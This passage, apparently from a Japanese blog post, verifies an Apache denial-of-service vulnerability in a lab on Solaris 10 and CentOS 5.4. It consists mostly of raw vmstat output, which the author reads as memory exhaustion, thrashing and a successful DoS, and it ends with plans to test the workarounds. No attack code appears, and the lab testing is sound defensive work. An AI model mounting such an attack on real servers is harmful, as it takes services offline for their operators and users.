6 93 0 0 80 103888 71156 6 406 1600 0 0 1016 0 0 293 0 0 565 374 1128 0 7 93 0 0 80 102344 68320 6 321 1251 0 0 916 0 0 316 0 0 576 369 1175 1 6 93 0 0 80 100900 65640 6 289 1132 0 0 828 0 0 268 0 0 539 371 1031 1 5 94 0 0 80 99576 63336 6 213 828 0 0 748 0 0 245 0 0 540 1028 892 0 7 93 0 0 80 96916 59604 7 289 1103 0 0 668 0 0 274 0 0 565 385 1058 1 5 94 0 0 80 95728 57564 6 214 828 0 0 588 0 0 211 0 0 505 370 816 1 5 94 0 0 80 94628 55568 6 225 864 0 0 508 0 0 224 0 0 494 368 844 0 5 95 0 0 80 94080 54092 6 231 899 0 0 428 0 0 229 0 0 519 381 879 1 4 95 0 0 80 93636 52780 6 202 784 0 0 348 0 0 196 0 0 496 371 783 0 4 96 0 0 80 93312 51328 6 314 1232 0 0 268 0 0 218 0 0 526 382 778 1 5 94 0 0 80 93180 50428 6 263 1028 0 0 188 0 0 195 0 0 493 371 739 0 4 96 0 0 80 93048 49208 6 218 848 0 0 108 0 0 208 0 0 512 417 820 1 4 95 0 0 80 92996 48320 6 184 713 0 0 28 0 0 177 0 0 477 370 665 1 4 95 0 0 80 92964 47664 6 179 692 0 0 0 0 0 178 0 0 475 371 712 0 4 96 0 0 80 92880 46692 6 250 978 0 0 0 0 0 241 0 0 528 373 958 1 6 93 0 0 80 92832 45316 6 347 1366 0 0 0 0 0 231 0 0 538 373 895 0 5 95 0 0 80 92832 44332 6 217 843 0 0 0 0 0 220 0 0 511 364 862 1 5 94 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 80 92808 43556 6 260 1014 0 0 0 0 0 212 0 0 520 377 809 0 5 95 0 0 80 92528 42168 6 224 872 0 0 0 0 0 238 0 0 544 376 882 1 4 95 0 0 80 92524 41348 292 774 768 0 0 0 0 0 192 0 0 500 3106 739 1 6 93 0 0 80 92524 40584 7 196 756 0 0 0 0 0 188 0 0 493 367 723 1 4 95 0 0 80 92496 39728 6 303 1188 0 0 0 0 0 221 0 0 523 374 851 0 5 95 0 0 80 92484 38480 6 272 1064 0 0 0 0 0 224 0 0 530 383 870 1 4 95 0 0 80 92484 37488 6 218 848 0 0 0 0 0 203 0 0 501 364 780 0 4 96 0 0 80 92484 36460 6 270 1056 0 0 0 0 0 248 0 0 553 383 983 1 4 95 0 0 80 92484 35448 6 264 1034 0 0 0 0 0 211 0 0 513 369 811 0 5 95 0 0 80 92300 34512 6 170 657 0 0 0 0 0 188 0 0 496 392 682 1 4 95 0 0 80 92296 33764 12 221 836 0 0 0 0 0 199 0 0 524 373 780 0 4 96 0 0 80 92296 32900 8 217 836 0 0 0 0 0 200 0 0 504 371 794 1 3 96 0 0 80 92296 32032 6 191 740 0 0 0 0 0 165 0 0 481 379 619 0 4 96 0 0 80 92296 31424 9 156 582 0 0 0 0 0 150 0 0 472 371 549 1 3 96 0 0 80 92292 30612 12 218 824 0 0 0 0 0 211 0 0 512 371 804 0 4 96 0 0 80 92292 29868 6 189 733 0 0 0 0 0 189 0 0 485 367 695 1 4 95 0 0 80 92292 29056 6 314 1232 0 0 0 0 0 202 0 0 502 378 752 0 4 96 0 0 80 92292 27848 6 200 776 0 0 0 0 0 194 0 0 486 369 736 1 4 95 0 0 80 92252 26992 6 219 853 0 0 0 0 0 209 0 0 525 377 793 0 4 96 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 80 92252 26084 6 205 796 0 0 0 0 0 164 0 0 460 367 601 1 4 95 0 0 80 92252 25432 6 168 646 0 0 0 0 0 159 0 0 490 391 591 0 3 97 0 0 80 92252 24768 6 189 732 0 0 0 0 0 172 0 0 491 371 640 1 4 95 0 0 80 92252 24080 6 163 628 0 0 0 0 0 155 0 0 478 382 578 0 4 96 0 0 80 92252 23372 6 198 768 0 0 0 0 0 178 0 0 486 367 610 1 4 95 0 0 80 92252 22480 6 282 1104 0 0 0 0 0 157 0 0 471 410 598 1 7 92 0 0 80 92236 21484 6 319 1252 0 0 0 0 0 155 0 0 452 743 547 0 4 96 0 0 80 92236 20232 6 197 764 0 0 0 0 0 162 0 0 479 371 623 1 3 96 0 0 80 92236 19376 6 212 824 0 0 0 0 0 163 0 0 483 377 618 1 3 96 0 0 80 92232 18652 6 181 701 0 0 0 0 0 170 0 0 485 372 618 0 4 96 0 0 80 92216 17952 6 194 752 0 0 0 0 0 187 0 0 493 371 667 1 3 96 0 0 80 92216 17264 6 156 600 0 0 0 0 0 148 0 0 473 373 556 0 3 97 0 0 80 92216 16776 6 131 500 0 0 0 0 0 124 0 0 448 374 469 0 3 97 0 0 80 92152 16144 291 758 720 0 0 0 0 0 137 0 0 433 3096 509 9 5 86 0 0 80 91492 14436 6 240 936 0 0 0 0 0 172 0 0 486 371 633 0 5 95 0 0 80 90804 13116 6 162 626 0 0 0 0 0 155 0 0 463 370 732 1 4 95 0 0 80 95196 16832 7 179 688 0 0 0 0 0 173 0 0 484 383 613 0 4 96 0 0 80 94848 15812 6 158 610 0 0 0 0 0 154 0 0 464 367 564 1 3 96 0 0 80 94844 15172 7 174 667 0 0 0 0 0 163 0 0 489 387 601 0 3 97 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 80 94836 14540 6 161 622 0 0 0 0 0 158 0 0 472 369 567 0 4 96 0 0 80 94836 13892 7 168 644 0 0 0 0 0 160 0 0 486 391 576 1 3 96 0 0 80 94828 13348 6 140 536 0 0 0 0 0 150 0 0 470 376 708 0 3 97 0 0 80 95112 12996 6 159 612 0 0 0 0 0 151 0 0 466 371 8320 1 4 95 1 0 80 94992 12256 7 170 653 0 0 0 0 0 153 0 0 470 380 28154 0 6 94 0 0 80 94992 11604 6 166 640 0 0 0 0 0 158 0 0 473 374 29370 1 5 94 0 0 80 94992 10968 6 161 624 0 0 48 0 0 157 0 0 474 373 29168 0 5 95 0 0 79 95096 10432 6 150 552 0 0 48 0 0 141 0 0 462 374 26028 0 5 95 0 0 78 95112 9752 6 161 622 0 0 0 0 0 156 0 0 474 372 28155 1 6 93 0 0 78 95592 9584 6 165 636 0 0 0 0 0 157 0 0 473 384 29177 0 6 94 0 0 78 96832 10188 6 155 596 0 0 0 0 0 148 0 0 472 372 27334 1 5 94 0 0 78 97324 10060 6 167 646 0 0 0 0 0 162 0 0 470 370 29811 1 6 93 0 0 78 97324 9376 6 176 679 0 0 0 0 0 156 0 0 481 389 29292 0 6 94 1 0 78 97324 8748 6 174 673 0 0 0 0 0 167 0 0 481 367 30891 1 6 93 0 0 78 100152 11576 7 169 642 679 679 0 333 0 161 0 0 483 386 30414 0 7 93 0 0 78 100524 11200 8 155 550 0 0 0 0 0 144 0 0 457 417 26340 0 6 94 0 0 78 100500 10508 8 172 648 0 0 0 0 0 145 0 0 479 529 27215 1 5 94 0 0 78 100436 9356 7 330 1292 0 0 0 0 0 177 0 0 492 524 30923 1 8 91 0 0 78 100408 8368 31 180 596 392 392 0 534 0 148 0 0 466 371 27696 0 5 95 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 78 100336 8944 18 157 558 832 832 0 229 0 143 0 0 458 374 26498 1 6 93 1 0 78 100300 8628 10 162 608 896 896 0 487 0 152 0 0 475 377 28777 0 7 93 0 0 78 100284 8960 9 158 596 448 448 0 0 0 150 0 0 468 371 27690 0 6 94 0 0 78 100360 8432 15 189 696 672 672 0 317 0 192 0 0 514 373 29468 1 10 89 0 0 78 99924 9080 6 107 404 1018 1018 0 790 0 196 0 0 503 371 20370 0 9 91 0 0 78 100008 8588 287 732 630 222 222 0 57 0 161 0 0 476 3065 29794 2 9 89 1 0 78 100064 8772 7 155 592 504 504 0 331 0 144 0 0 466 371 26783 0 5 95 0 0 78 100064 8568 10 193 733 998 998 0 451 0 149 0 0 463 363 27231 1 7 92 0 0 78 100064 8824 11 182 684 448 448 0 0 0 151 0 0 470 383 28252 1 5 94 0 0 78 100064 8568 6 152 584 784 784 0 401 0 152 0 0 472 371 27548 0 7 93 0 0 78 100060 8404 6 133 507 887 887 0 334 0 149 0 0 466 380 20074 1 10 89 0 0 78 99984 8776 9 126 469 170 170 0 42 0 154 0 0 478 376 21916 0 4 96 0 0 78 99984 8424 6 147 553 439 439 0 289 0 143 0 0 455 382 26802 1 6 93 1 0 78 100296 8576 9 160 602 792 792 0 268 0 152 0 0 475 383 28361 0 6 94 1 0 78 100296 8732 7 211 816 112 112 0 899 0 159 0 0 472 371 28988 0 6 94 0 0 78 100296 8956 6 150 574 887 887 0 0 0 142 0 0 460 372 26498 1 6 93 0 0 78 100296 8432 6 156 598 622 655 0 730 0 148 0 0 473 1117 28161 0 5 95 0 0 78 100512 9012 9 164 622 388 388 0 0 0 147 0 0 461 367 27217 1 6 93 0 0 78 100512 8492 6 168 648 1176 1176 0 639 0 152 0 0 472 371 28794 0 7 93 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 78 100536 9012 7 181 697 55 55 0 0 0 219 0 0 529 363 28278 1 9 90 0 0 78 100532 8828 7 181 696 784 784 0 290 0 173 0 0 496 383 32325 0 7 93 0 0 78 100532 8904 7 179 687 566 566 0 105 0 165 0 0 496 376 31359 0 6 94 1 0 78 100524 8852 8 162 618 1053 1053 0 361 0 153 0 0 470 1160 28335 1 7 92 0 0 78 100516 8660 13 165 608 560 560 0 222 0 142 0 0 467 385 26410 0 6 94 0 0 78 100500 8764 6 170 657 554 554 0 290 0 158 0 0 472 367 29253 1 6 93 0 0 78 100496 8720 16 191 700 840 840 0 112 0 168 0 0 480 382 31390 1 7 92 0 0 78 100612 8604 11 146 541 679 707 0 5562 0 153 0 0 459 375 25028 0 8 92 1 0 78 100572 9720 6 148 566 887 887 0 0 0 191 0 0 517 406 27392 1 8 91 0 0 78 100544 9016 9 202 772 0 0 0 0 0 190 0 0 508 378 35636 0 6 94 0 0 78 100568 8428 10 178 673 832 832 0 371 0 171 0 0 476 367 31792 1 7 92 0 0 78 100568 8448 8 167 636 616 616 0 274 0 159 0 0 484 382 29920 0 6 94 0 0 78 100568 8432 8 175 669 998 998 0 261 0 162 0 0 477 374 28347 1 7 92 0 0 78 100544 8764 8 206 792 226 226 0 964 0 141 0 0 468 375 26489 0 7 93 0 0 78 98988 7580 6 130 498 2525 2545 0 8083 0 235 0 0 515 359 24602 1 13 86 0 0 78 98200 8540 6 162 624 1008 1008 0 1108 0 151 0 0 463 374 28603 0 6 94 0 0 78 98200 8876 289 728 596 896 896 0 161 0 149 0 0 469 3096 28058 2 8 90 1 0 78 98364 8800 7 169 648 112 112 0 237 0 157 0 0 471 371 28997 0 7 93 0 0 78 98248 9136 6 124 472 896 896 0 0 0 207 0 0 517 367 22717 0 8 92

サーバの vmstat 1 の様子です。(CentOS5.4 + Apache 2.2.3)
server# vmstat 1 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 0 0 9676 12020 100488 0 0 48 13 60 77 1 3 94 2 0 0 0 0 9676 12020 100488 0 0 0 0 60 64 0 0 100 0 0 0 0 0 9676 12020 100488 0 0 0 0 60 61 0 0 100 0 0 0 0 0 9676 12020 100488 0 0 0 0 72 68 0 0 100 0 0 0 0 0 9676 12020 100488 0 0 0 0 51 61 0 0 100 0 0 0 0 0 9676 12028 100480 0 0 0 32 58 71 0 0 100 0 0 10 5 5404 1964 72 17244 0 5340 0 5380 225 176 8 51 41 0 0 15 10 111988 2000 96 5860 484 105940 1368 105948 552 1381 23 69 0 8 0 20 14 133084 2228 88 6824 1056 21100 4036 21100 268 441 2 98 0 0 0 10 15 154100 2336 100 4876 2256 21028 3288 21028 354 639 8 81 0 11 0 17 13 178432 2204 72 4004 1992 24344 2380 24360 318 517 6 82 0 12 0 0 12 202312 2312 80 4156 4012 23916 4636 23916 685 1105 5 68 0 27 0 3 9 216164 2596 108 4132 4444 13880 5136 13880 710 1219 3 49 0 47 0 2 16 233916 3136 104 3692 3476 17800 4228 17800 482 949 10 40 0 50 0 7 19 248204 4204 104 5288 2460 14308 4232 14308 351 526 2 46 0 51 1 0 21 264260 2152 68 4180 2084 16164 3340 16164 344 637 6 55 0 39 0 9 16 275188 2296 68 3968 3408 13192 4276 13192 497 958 4 31 0 65 0 0 20 286788 1932 104 3908 3308 13472 4020 13504 452 750 2 52 0 46 0 0 18 294068 2084 76 3888 3616 9476 4184 9476 521 883 1 22 0 77 0 0 10 295384 2636 84 4480 4768 4736 5664 4736 779 1355 0 8 0 92 0 1 11 295068 2504 88 4228 5320 4248 6124 4248 871 1630 0 19 0 81 0 1 11 296444 2024 96 4756 5588 4860 6368 4860 824 1323 0 7 0 93 0 1 10 297648 2524 72 4932 5912 4680 6588 4680 873 1610 1 4 0 95 0 0 10 300184 2260 80 4672 6984 6608 7344 6608 1076 1772 0 11 0 89 0 1 8 300248 2364 76 4068 8128 6200 8496 6200 1429 2654 0 10 0 90 0 1 9 299264 2612 72 4252 9028 6124 9432 6124 1495 2838 0 13 0 87 0 0 10 296704 2588 72 4304 7952 3272 8404 3272 1195 2294 0 7 0 93 0 8 7 302668 2368 64 3784 5768 10288 6052 10288 945 1879 0 26 0 74 0 0 12 319508 1972 68 4124 2176 18440 2948 18440 343 701 6 44 0 50 0 0 10 336252 1972 64 3588 3308 19728 3684 19728 629 903 4 61 0 35 0 1 10 348576 2096 64 3324 3496 15400 3496 15400 679 1291 5 50 0 45 0 7 8 368784 2640 64 3192 4568 24132 4648 24132 808 1470 4 61 0 35 0 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 12 385756 1964 64 3444 2632 19080 3520 19080 493 819 10 67 0 23 0 0 11 402224 2280 64 3016 2684 18136 2700 18136 365 629 2 48 0 50 0 2 10 415392 1916 64 3696 2296 14356 3176 14356 306 553 3 55 0 42 0 10 10 430012 2136 64 3496 2096 15484 2932 15484 284 498 5 41 0 54 0 1 10 437144 1972 64 3252 3800 9460 4204 9460 486 940 1 23 0 76 0 0 11 440188 2472 64 3696 4100 5268 4692 5268 601 1040 0 4 0 96 0 1 10 442220 3000 64 3808 4276 4696 4500 4696 569 1096 0 11 0 89 0 0 13 442056 2612 68 3544 6648 5496 6896 5496 1068 2064 0 7 0 93 0 3 8 442940 2488 80 3516 6016 5668 6088 5668 877 1656 0 9 0 91 0 1 10 444664 2228 72 3452 6992 7856 7356 7856 1391 2332 1 6 0 93 0 0 9 449760 2908 68 3744 7960 11880 8372 11880 1498 2715 0 6 0 94 0 0 10 446256 2540 64 3516 9464 4748 9760 4748 1769 3354 0 13 0 87 0 1 8 447880 2272 64 3656 6892 7376 7184 7376 1338 2376 1 8 0 91 0 0 9 443296 2124 76 3780 6684 1048 6824 1056 1333 2350 7 12 0 81 0 0 9 445212 2148 84 3340 6980 7856 7044 7860 1390 2163 0 9 0 91 0 0 8 447196 3380 88 3324 4792 5480 4888 5488 842 1330 0 3 0 97 0 1 8 450732 2148 72 3568 4380 6748 4656 6748 798 1332 0 4 0 96 0 0 9 446232 2160 76 3952 7168 1448 7652 1448 1304 2440 0 3 0 96 1 0 9 447032 2564 64 3932 7792 7116 7984 7116 1380 2542 0 5 0 95 0 2 9 442704 1904 76 3508 8016 2808 8096 2824 1381 2322 0 7 0 93 0 0 8 443676 3440 56 3296 5856 5636 5932 5636 881 1614 0 9 0 91 0 0 9 452624 3844 56 3304 5468 14232 5612 14232 967 1721 0 9 0 91 0 0 11 447544 2120 60 3404 7180 968 7272 968 1273 2354 0 4 0 96 0 0 9 446724 2668 64 3648 5276 3544 5540 3544 1064 1858 0 3 0 97 0 0 9 445012 2612 64 3800 6620 3472 6788 3472 1120 1989 0 4 0 96 0 1 8 450624 2012 64 4068 6060 12328 6324 12328 1164 2059 0 8 0 92 0 0 8 450656 2112 64 4144 8504 8080 8624 8080 1525 2935 0 9 0 91 0 0 7 452980 2576 68 3944 4760 6532 4840 6532 849 1502 0 4 0 96 0 0 7 452916 3068 64 3832 4928 4096 5088 4096 824 1467 0 10 0 90 0 0 6 447532 2528 64 3844 6644 0 6644 0 1106 2048 0 4 0 96 0 1 5 449712 2644 60 3600 6584 8448 6584 8448 1166 2068 0 6 0 94 0 0 6 445256 2864 60 3588 8688 3328 8688 3328 1494 2737 0 5 0 95 0 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 7 442240 3000 64 3428 9368 5060 9512 5060 1415 2643 0 5 0 95 0 5 7 449888 2424 56 3276 6168 13100 6300 13100 1107 2094 2 14 0 84 0 0 8 463768 1924 56 3232 4248 18508 4248 18508 841 1046 0 10 0 90 0 0 10 482768 2608 56 3168 1568 21120 1672 21120 385 592 1 15 0 84 0 0 9 490692 2908 68 3212 1868 9376 2132 9376 412 550 2 5 0 92 1 0 10 486820 2140 68 3492 6876 0 7164 0 940 1754 0 1 0 99 0 0 11 486812 2000 76 3600 7240 5784 7408 5784 1030 1780 0 6 0 94 0 1 8 487900 1912 64 3376 5820 6164 6132 6164 1103 1805 1 2 0 97 0 5 7 492300 2960 64 3836 3520 7676 3996 7676 772 1164 0 5 0 95 0 0 8 488088 2776 68 3580 8688 2696 8848 2696 1410 2629 0 6 0 94 0 0 9 492224 2016 68 3360 7460 10064 7460 10064 1335 2314 0 7 0 93 0 0 10 490440 2096 76 3304 7232 3540 7408 3552 1040 1794 0 3 0 97 0 0 10 492152 2688 72 3260 7984 8476 7984 8480 1377 2554 0 6 0 94 0 1 10 492096 1980 72 3388 7136 5128 7268 5136 1272 2220 0 6 0 94 0 0 9 487340 1908 68 3328 7988 1632 8080 1632 1267 2370 0 3 0 97 0 0 9 489816 1956 72 3544 5136 6612 5372 6612 839 1403 0 2 0 98 0 0 9 487144 1996 68 3560 8240 3436 8656 3436 1249 2405 0 5 0 95 0 0 7 487240 2544 60 3464 6088 4956 6400 4956 909 1682 0 5 0 95 0 0 8 488556 2320 60 3252 7364 6912 7480 6912 1073 1893 0 3 0 97 0 1 9 486720 2024 60 3140 7840 3984 7840 3984 1115 2079 0 4 0 96 0 0 8 487956 2660 64 3428 5616 5804 5920 5804 875 1534 0 9 0 91 0 1 7 488908 2804 64 3500 5772 5368 5888 5368 884 1560 0 2 0 98 0 0 9 490920 2476 64 3428 7016 6692 7124 6692 1070 1957 0 7 0 93 0 0 12 490336 1908 64 3428 6008 4004 6100 4004 873 1595 0 2 0 98 0 0 8 489536 2044 60 3372 6788 5248 6856 5248 1040 1909 0 7 0 93 0 0 8 489968 1972 60 3356 6124 5292 6124 5292 893 1609 0 2 0 98 0 0 9 492820 2096 60 3460 6388 7868 6712 7868 954 1763 0 5 0 95 0 0 11 488940 1928 64 3596 5872 0 5992 0 789 1470 0 0 0 100 0 0 8 487812 2956 68 3508 4836 2488 5168 2488 667 1237 0 5 0 95 0 0 10 490460 2124 68 3644 6704 7468 6848 7468 885 1641 0 5 0 94 1 0 8 487624 1952 64 3440 6384 1880 6384 1880 783 1446 0 3 0 97 0 0 9 490280 2896 72 3448 6804 7824 7032 7824 1030 1807 0 3 0 97 0 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 8 494532 2236 72 3932 5536 8360 6032 8360 785 1256 0 3 0 97 0 0 7 492384 2120 64 3764 7640 3940 7640 3940 1056 1958 0 5 0 95 0 0 9 485980 1896 60 3312 8516 404 8516 404 1379 2617 0 3 0 97 0 0 7 484912 2588 60 3296 6984 3260 6984 3260 937 1731 0 3 0 97 0 0 7 488032 1936 64 3408 5524 7176 5664 7176 795 1372 4 11 0 85 0 0 6 490344 2512 60 3324 7252 7680 7316 7680 1005 1907 0 6 0 94 0 0 6 487180 2480 60 3348 5984 1524 6100 1524 789 1451 0 4 0 96 0 0 7 487280 3004 64 3400 6508 4672 6676 4672 835 1523 0 2 0 98 0 0 8 483160 2344 60 3448 9168 2676 9360 2676 1565 2800 2 21 0 77 0 0 6 493328 3140 64 3500 4876 13596 5008 13596 802 1352 0 14 0 86 0 0 7 488328 2076 72 3528 8336 0 8376 0 992 1754 0 2 0 98 0 0 7 486532 2300 76 3508 3056 620 3152 620 540 943 0 1 0 99 0 3 8 490980 2880 64 3660 6720 9776 6972 9780 1106 1967 0 9 0 91 0 0 7 485036 2396 64 3752 7512 0 7724 0 1070 1983 0 4 0 96 0 0 8 487160 2468 68 3596 5596 6740 5696 6740 942 1577 0 3 0 96 1 0 7 486612 1972 80 3452 8652 6432 8768 6448 1312 2409 0 10 0 90 0 2 7 488292 3000 76 3360 7980 7904 8108 7904 1180 2288 0 7 0 93 0 0 6 491100 2400 76 3456 3900 5328 4016 5328 530 775 0 2 0 98 0 0 7 488000 1904 80 3660 5048 0 5256 0 527 845 0 0 0 100 0 0 6 487484 2172 72 3864 5260 2660 5524 2660 712 1167 0 1 0 99 0 0 6 492316 2272 72 3752 4684 7740 4684 7740 540 890 0 3 0 97 0 2 6 497208 2752 60 3660 4340 7452 4340 7452 589 878 0 1 0 99 0 0 6 494484 2676 60 3484 5036 0 5072 0 529 888 0 0 0 100 0 4 5 490436 1968 56 3268 7388 1172 7388 1172 805 1591 0 2 0 98 0 0 8 488128 1992 56 3252 5148 1028 5148 1028 671 1117 0 0 0 100 0 0 6 483288 2080 56 3244 7508 0 7508 0 701 1443 0 0 0 100 0 0 5 484912 3076 56 3216 6000 5976 6000 5976 702 1298 0 6 0 94 0 1 5 486468 2480 56 3220 5472 5476 5472 5476 777 1280 0 2 0 98 0 0 8 488184 2148 60 3348 5804 5528 5936 5528 681 1194 0 2 0 98 0 0 5 488648 2364 68 3592 3524 2684 3788 2684 511 764 0 0 0 100 0 0 6 490332 2320 68 3588 5308 5708 5308 5708 607 1051 0 4 0 96 0 1 6 491136 1944 60 3568 5212 4588 5212 4588 704 1121 0 0 0 100 0 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 7 491548 1940 60 3600 6732 5112 6876 5112 808 1393 0 2 0 98 0 1 8 492092 2712 72 3380 4332 3612 4344 3612 591 958 0 2 0 98 0 0 5 491384 2484 80 3392 5564 3252 5568 3252 649 1144 0 2 0 98 0 0 6 486536 2212 80 3264 6644 0 6644 0 807 1458 0 2 0 98 0 0 5 484652 2920 60 3252 6236 2056 6236 2056 629 1144 0 2 0 98 0 0 6 488316 2196 56 3252 5684 7548 5684 7548 649 1194 0 3 0 97 0 0 6 488676 2852 68 3252 4472 3096 4480 3108 577 918 0 0 0 99 1 2 8 491456 2608 68 3232 5372 6516 5372 6516 710 1196 0 2 0 98 0 1 7 488824 2352 64 3228 5108 960 5108 964 594 999 0 4 0 95 1 3 6 487212 2648 52 3192 7008 2944 7008 2952 780 1491 0 3 0 97 0 4 9 488276 2908 52 3136 6116 4656 6116 4656 811 1385 0 5 0 95 0 1 7 492680 3064 60 3432 4936 8020 5260 8020 664 1020 0 5 0 95 0 0 7 488656 2056 60 3416 6000 0 6000 0 639 1143 0 1 0 99 0 0 7 485036 2636 56 3312 4956 0 5048 0 559 1070 0 1 0 99 0 0 5 490220 2640 60 3584 4448 7872 4724 7872 556 871 0 1 0 99 0 0 5 491292 2924 64 3560 4968 4068 5028 4068 630 971 0 2 0 98 0 0 6 488136 2544 64 3560 6208 1240 6208 1240 645 1123 0 0 0 100 0 1 5 493336 2432 64 3204 4476 7736 4476 7736 517 807 0 6 0 94 0 0 5 491316 2844 64 3144 5556 1452 5556 1452 628 1116 0 1 0 99 0 0 7 488528 1956 60 3116 7184 1668 7184 1668 652 1283 0 1 0 99 0 0 9 494512 2428 60 3152 3680 8352 3716 8352 560 693 0 1 0 99 0 0 8 494808 2096 64 3244 4116 2680 4208 2680 486 768 0 0 0 100 0

Solaris10 + Apache 2.0.64 の結果も CentOS5.4 + Apache2.2.3 の結果もほぼ同じです。最初の idle がほぼ 100 の間は何もしていない時です。攻撃を開始するとほぼ同時に、メモリが食い尽くされ、ひどいスラッシング状態に陥り、ディスクI/O待ちのプロセス数が頭打ち状態になりました。攻撃を停止してもこの状態は続き、Web の応答は勿論、新たにOSにログインすることもできません。vmstat も 1 秒ごとには流れなくなっています。DoS 成功です。
放っておいても回復しないのでOSごと再起動してしまいましょう。

次回は、アナウンスされている暫定回避策の有効性確認と対策済みバージョンの検証を行いたいと思います。